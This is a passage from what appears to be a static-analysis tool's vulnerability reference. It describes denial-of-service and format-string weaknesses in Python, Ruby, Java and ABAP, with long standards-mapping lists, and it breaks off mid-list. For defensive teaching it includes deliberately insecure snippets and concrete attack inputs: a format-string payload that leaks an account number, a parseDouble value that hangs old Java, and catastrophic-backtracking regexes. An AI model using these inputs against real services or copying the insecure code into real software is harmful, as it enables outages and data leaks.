Example 1: The following code allows a user to specify the duration of a connection timeout for the connect function. By specifying a large number, an attacker can tie up the connect function indefinitely.


...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}

mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.python.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a thread will sleep. By specifying a large number, an attacker may tie up the thread indefinitely. With a small number of requests, the attacker may deplete the application's thread pool.


Kernel.sleep(user_input)
Example 2: The following code reads a String from a file. Because it uses the readline() method without specifying a limit, it will read an unbounded amount of input. An attacker may take advantage of this code to cause the process to hang whilst consuming more and more memory, until it may potentially run out of memory entirely.


fd = File.new(myFile)
line = fd.readline
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.ruby.denial_of_service
Abstract
Allowing user input to control format parameters could enable an attacker to cause exceptions to be thrown or leak information.
Explanation
Attackers may be able to modify the format string argument such that an exception is thrown. If this exception is left uncaught, it may crash the application. Alternatively, if sensitive information is used within the other arguments, attackers may change the format string to reveal this information.

Example 1: The following code allows a user to specify the format string argument to Formatter.format().


...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...


The intention of this program is to let the user specify the decimal points to which it shows the balance. In reality though, there are no restrictions on this. If the user can specify anything, it may cause an exception such as java.util.MissingFormatArgumentException to be thrown, and since this is not within a try block, could lead to application failure.
Even more critical within this example, if an attacker can specify the user input "2f %3$s %4$.2", the format string would be "The customer: %s %s has the balance %4$.2f %3$s %4$.2". This would then lead to the sensitive accountNo to be included within the resulting string.
References
[1] IDS06-J. Exclude unsanitized user input from format strings CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 134
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[7] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[9] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[10] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - OWASP Top 10 2017 A1 Injection
[13] Standards Mapping - OWASP Top 10 2021 A03 Injection
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[48] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_format_string
Abstract
The program calls a method that parses doubles and can cause the thread to hang.
Explanation
There is a vulnerability in implementations ofjava.lang.Double.parseDouble() and related methods that can cause the thread to hang when parsing any number in the range [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]. This defect can be used to execute a Denial of Service (DoS) attack.

Example 1: The following code uses a vulnerable method.

Double d = Double.parseDouble(request.getParameter("d"));


An attacker could send requests where the parameter d is a value in the range, such as "0.0222507385850720119e-00306", to cause the program to hang while processing the request.

This vulnerability exists for Java version 6 Update 23 and earlier versions. It is not present for Java version 6 Update 24 and later.
References
[1] Rick Regan Java Hangs When Converting 2.2250738585072012e-308
[2] Oracle Security Alert for CVE-2010-4476
[3] Standards Mapping - Common Weakness Enumeration CWE ID 400
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [20] CWE ID 400
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [23] CWE ID 400
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [23] CWE ID 400
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [24] CWE ID 400
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[11] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A1 Injection
[19] Standards Mapping - OWASP Top 10 2021 A03 Injection
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_parse_double
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is repeated. Additionally, attackers can exploit any regular expression that contains alternate subexpressions that overlap one another. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 624
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[5] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[6] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[7] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.abap.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Microsoft Best Practices for Regular Expressions in the .NET Framework
[2] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[3] Standards Mapping - Common Weakness Enumeration CWE ID 624
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[8] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[9] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[10] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
